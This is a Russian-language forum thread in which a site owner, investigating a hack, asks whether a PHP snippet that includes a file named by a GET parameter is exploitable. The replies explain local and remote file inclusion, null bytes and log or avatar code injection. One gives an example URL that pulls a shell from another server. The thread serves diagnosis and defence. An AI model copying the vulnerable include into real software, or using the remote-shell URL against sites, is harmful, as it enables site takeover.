Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
PHP. Загрузка файла через require_once.
 
Здравствуйте! Возможна ли загрузка файла на сайт в котором присутствует вот такой код? Возможно ли как-то затереть начало строки 'titles/' или сделать так, чтобы она не учитывалась? Может быть есть какие-то специальные unicode символы? Или ещё какой способ?
Код
<?php
if(isset($_GET['art']))   
$title='titles/'.$_GET['art'].'.php';
require_once($title);   
?>
 
Насколько я знаю вы можете только переместится на каталог выше, передав в начало строки ../
 
т.е. этот кусок кода никак не может быть связан с заливом шела на сайт?
У меня просто недавно взломали сайт. Сейчас пытаюсь обнаружить причину. И больше грешить вроде не на что.
 
Почитайте про null-byte. В интернете полно информации по этому вопросу.
 
Это локальный инклюд.
Для эксплуатирвоания уязвимости нужно каким либо образом записать уязвимый код на сервер. К слову - таких способов есть множество (загрузка кода в аватаре, инъектирование его в логи и пр.)
Риск такой уязвимости расценивается как высокий
При включенных register_globals имеется удаленный пхп инклюд
С учетом этого условия, риск уже критический

Данный код с большой вероятностью мог быть использован для взлома сайта.
 
Цитата
phoenix пишет:
При включенных register_globals имеется удаленный пхп инклюд
Вы не могли бы поподробнее описать данный случай?
 
Почитайте опять же про register_globals, в данном случае, переменной с title присваивается значение только если передан параметр art, если не передать параметр art, в вместо него передать title, например /script.php?title=http://other-site/shell.php то подключится файл со стороннего сервера, но это маловероятно, давно не встречал включенный register_globals. Я бы вам настоятельно порекомендовал ознакомится хотя-бы поверхностно с базовыми правилами написания хоть сколь-нибудь безопасных скриптов на php.
Да, и еще для эксплуатации этой уязвимости должен быть включен параметр  allow_url_fopen.
Изменено: Ayanami - 22.12.2012 23:38:09
 
Спасибо! Обязательно изучу вопрос.
 
Ayanami все правильно сказал.
Однако даже если удаленный инклюд не эксплуатируем в этом случае, то через локальный инклюд, который присутствует тут безусловно, взломать сайт более чем вероятно.
Страницы: 1
Читают тему